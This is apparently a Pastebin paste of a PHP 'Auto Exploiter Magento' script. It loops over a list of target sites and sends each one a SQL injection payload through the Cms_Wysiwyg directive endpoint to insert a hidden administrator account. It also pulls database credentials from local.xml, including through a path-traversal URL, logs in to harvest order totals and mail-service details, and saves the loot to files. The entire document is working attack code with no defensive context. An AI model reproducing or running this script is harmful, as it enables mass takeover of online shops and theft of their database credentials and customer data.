Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- set_time_limit(0);
- /**
- * Auto Exploiter Magento
- * USE : echo "php ".$argv[0]." target.txt username password\r\n";
- */
- error_reporting(0);
- class MagentoLogin
- {
- public function uRedirect($url){
- $curlInit = curl_init($url);
- curl_setopt($curlInit,CURLOPT_CONNECTTIMEOUT,10);
- curl_setopt($curlInit, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
- curl_setopt($curlInit,CURLOPT_HEADER,0);
- curl_setopt($curlInit,CURLOPT_NOBODY,true);
- curl_setopt($curlInit,CURLOPT_RETURNTRANSFER,true);
- curl_setopt($curlInit, CURLOPT_TIMEOUT, 60);
- $response = curl_exec($curlInit);
- $info = curl_getinfo($curlInit);
- if($info['redirect_url']){
- return $info['redirect_url'];
- }else{
- return $info['url'];
- }
- }
- public function getActivity($url){
- $ch1 = curl_init($url);
- curl_setopt ($ch1, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt ($ch1, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt ($ch1, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
- curl_setopt ($ch1, CURLOPT_CONNECTTIMEOUT, 5);
- curl_setopt ($ch1, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt ($ch1, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($ch1, CURLOPT_COOKIEJAR,getcwd().'/cookie.txt');
- curl_setopt($ch1, CURLOPT_COOKIEFILE,getcwd().'/cookie.txt');
- $data = curl_exec ($ch1);
- return $data;
- }
- public function admin($url,$username,$password){
- $url = MagentoLogin::uRedirect($url);
- if(!preg_match("/admin/i",parse_url($url, PHP_URL_PATH)) ){
- $url = $url."admin";
- }
- echo "[+] URL ADM : ".$url."\r\n";
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_HEADER, false);
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT ,0);
- curl_setopt($ch, CURLOPT_TIMEOUT, 60);
- curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt');
- curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookie.txt');
- curl_setopt($ch, CURLOPT_VERBOSE, false);
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS, "login[username]=".$username."&login[password]=".$password."");
- $data = curl_exec($ch);
- $re = "/<span class=\"price\">(.*?)<\\/span>/";
- $qt = "/<span class=\"nowrap\" style=\"font-size:18px; color:#EA7601;\">(.*?)<span style=\"font-size:14px; color:#DE8946;\"><\\/span><\\/span>/";
- $IDE = "/<span>IDE<\\/span>/";
- $WP = "/<span>WordPress<\\/span>/";
- $Smtp = "/SMTP/";
- $Mandrill = "/Mandrill/";
- preg_match_all($re , $data , $matches);
- preg_match_all($qt , $data , $matchesqt);
- preg_match_all($IDE , $data , $matchIDE);
- preg_match_all($WP , $data , $matchWP);
- preg_match_all($Smtp , $data , $matchesSMTP);
- preg_match($Mandrill , $data , $matchesMandril);
- if($matchIDE[0][0]){
- $pesan .= "[+] IDE Home : Found !!!\r\n";
- }
- if($matchWP[0][0]){
- $pesan .= "[+] WP Home : Found !!!\r\n";
- }
- if($matchesSMTP[0][0]){
- $pesan .= "[+] SMTP : Found !!!\r\n";
- }
- if($matchesMandril[0][0]){
- $pesan .= "[+] Mandril : Found !!!\r\n";
- }
- if($matches[0][0]){
- $pesan .= "[+] Login ADLink : ".$url." )\r\n";
- $pesan .= "[+] Login Admin : Success\r\n";
- $pesan .= "[+] Orders info : ".$matches[1][0]." / ".$matches[1][2]." -[ ".$matchesqt[1][3]." ]-\r\n";
- return $pesan;
- }
- echo "[+] Login Admin : Failed\r\n";
- return false;
- }
- public function downloaders($url,$username,$password){
- $url = MagentoLogin::uRedirect($url);
- if(!preg_match("/downloader/i",parse_url($url, PHP_URL_PATH)) ){
- $url = $url."downloader";
- }
- echo "[+] URL DWN : ".$url."\r\n";
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_HEADER, false);
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_REFERER, $url);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT ,0);
- curl_setopt($ch, CURLOPT_TIMEOUT, 60);
- curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt');
- curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookie.txt');
- curl_setopt($ch, CURLOPT_VERBOSE, false);
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS, "username=".$username."&password=".$password);
- $data = curl_exec($ch);
- if(preg_match("/Log Out/i",$data) || (preg_match("/Return to Admin/i",$data))){
- $permission = (!preg_match("/Warning: Your Magento folder does not have sufficient write permissions./i",$data) ? "Writeable" : "Denied");
- $pesan .= "[+] Login Download : Success (Permission ".$permission." )\r\n";
- $pesan .= "[+] Login Linked : ".$url." )\r\n";
- }else{
- $pesan .= "[+] Login Download : Failed\r\n";
- }
- if(preg_match("Grizzly_MassEmail", $data)){
- $pesan .= "[+] SMTP : Found!!!\r\n";
- }else{
- //$pesan .= "[+] SMTP : Not Found!!!\r\n\r\n";
- }
- return $pesan;
- }
- }
- // php jembut.php /affiliates/
- // php jembut.php /checkout/cart/
- // php jembut.php /media/wysiwyg/
- class media
- {
- public function saves($nama,$data){
- $myfile = fopen($nama, "a+") or die("Unable to open file!");
- fwrite($myfile, $data);
- fclose($myfile);
- }
- public function parse($url_full){
- if(parse_url($url_full, PHP_URL_PATH)==""){
- $patch = "/";
- }else if(parse_url($url_full, PHP_URL_PATH) == "/"){
- $patch = "/";
- }else{
- $patch = parse_url($url_full, PHP_URL_PATH)."/";
- }
- return parse_url($url_full, PHP_URL_HOST).$patch;
- }
- public function LogoNE(){
- $logo .= " .--------------------------------------------------------------.\n";
- $logo .= " -| _/\[ AUTO EXPLOITER ]/\_ .------------------|-\n";
- $logo .= " -| /\/\ __ _ __ _ ___ _ __ | |_ ___ | BETA (C) 2016 |-\n";
- $logo .= " -| / \ / _` |/ _` |/ _ \ '_ \| __/ _ \ .------------------|-\n";
- $logo .= " -| / /\/\ \ (_| | (_| | __/ | | | || (_) | - Shor7cut - |-\n";
- $logo .= " -| \/ \/\__,_|\__, |\___|_| |_|\__\___/ |-\n";
- $logo .= " -| |___/ |-\n";
- $logo .= " .\-------------------------------------------------------------/. \n";
- echo $logo;
- }
- }
- class exploiters extends MagentoLogin
- {
- public function LocalFileDiscloure($target){
- $path = array(
- "/app/etc/local.xml",
- "/magmi/web/download_file.php?file=../../app/etc/local.xml"
- );
- for($i=0;$i<=count($path);$i++){
- $test = MagentoLogin::getActivity($target.$path[$i]);
- if(isset($test) && preg_match('/install/i',$test) && preg_match('/date/i',$test)){
- $re = "/<![CDATA[]+(.*?)[]]]>/";
- preg_match_all($re, $test, $matches);
- if(isset($matches[1][0])){
- $shc_host = $matches[1][0];
- $shc_host = $matches[1][3];
- $shc_user = $matches[1][4];
- $shc_pass = $matches[1][5];
- $shc_db = $matches[1][6];
- $infone .= "------------------------------\r\n";
- $infone .= "URL : ".$target."\r\n";
- $infone .= "Host : ".$shc_host."\r\n";
- $infone .= "Username : ".$shc_user."\r\n";
- $infone .= "Password : ".$shc_pass."\r\n";
- $infone .= "Database : ".$shc_db."\r\n";
- $infone .= "------------------------------\r\n";
- media::saves("Logika-GalauNYA-DB-.txt",$infone);
- }
- } else {
- return false;
- }
- }
- }
- public function payload($site,$username,$password){
- $site = MagentoLogin::uRedirect($site);
- if(!preg_match("/admin/i",parse_url($site, PHP_URL_PATH)) ){
- $site = $site."admin";
- }
- $site = $site."/Cms_Wysiwyg/directive/index";
- echo "[+] Site Ne : ".parse_url($site, PHP_URL_HOST)."\r\n";
- exploiters::LocalFileDiscloure(parse_url($site, PHP_URL_HOST));
- echo "[+] URL Pay : ".$site."\r\n";
- echo "[+] Payload : ";
- $email = substr(md5(time()),2,15);
- $post = array(
- "___directive" => base64_encode("{{block type=Adminhtml/report_search_grid output=getCsvFile}}"),
- "filter" => base64_encode("popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);SET @SALT = 'rp';SET @PASS = CONCAT(MD5(CONCAT( @SALT , '".$password."') ), CONCAT(':', @SALT ));SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','".$email."@bug7sec.com','".$username."',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '".$username."'),'Firstname');"),
- "forwarded" => 1
- );
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $site);
- curl_setopt($ch, CURLOPT_HEADER, false);
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT ,0);
- curl_setopt($ch, CURLOPT_TIMEOUT, 30);
- curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt');
- curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookie.txt');
- curl_setopt($ch, CURLOPT_VERBOSE, false);
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
- $data = curl_exec($ch);
- $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
- curl_close($ch);
- if($httpcode=="200"){
- echo "Success\r\n";
- $pesan.= "[+] Site Ne : ".parse_url($site, PHP_URL_HOST)."\r\n";
- $pesan.= "[+] Akun Ne : ".$username."|".$password."\r\n";
- return $pesan;
- }else{
- echo $httpcode."\r\n";
- return false;
- }
- }
- }
- media::LogoNE();
- if( isset($argv[1]) ){
- echo "\r\n"; // LukaHati
- $s=0;$f=0;
- $username = "administrator"; $password = base64_encode("akupeduli");
- //$username = "Shor7cut"; $password = base64_encode("akupeduli");
- $target = $argv[1];
- $target = explode("\r\n", file_get_contents($target));
- echo "[+] Load Target : ".count($target)."\r\n\n";
- foreach ($target as $key => $url) {
- unlink("cookie.txt");
- $url = media::parse($url);
- $payloaders = exploiters::payload(MagentoLogin::uRedirect("{$url}index.php/admin"),$username,$password);
- if($payloaders){
- $login_admin = exploiters::admin(MagentoLogin::uRedirect("{$url}index.php/admin"),$username,$password);
- $s++;
- if($login_admin){
- $login_download = exploiters::downloaders(MagentoLogin::uRedirect("{$url}downloader"),$username,$password);
- echo $login_admin.$login_download;
- media::saves("Logika-GalauNYA.txt",$payloaders.$login_admin.$login_download."\r\n");
- }
- }else{
- $f++;
- }
- echo "\r\n";
- }
- }
- ?>
Add Comment
Please, Sign In to add comment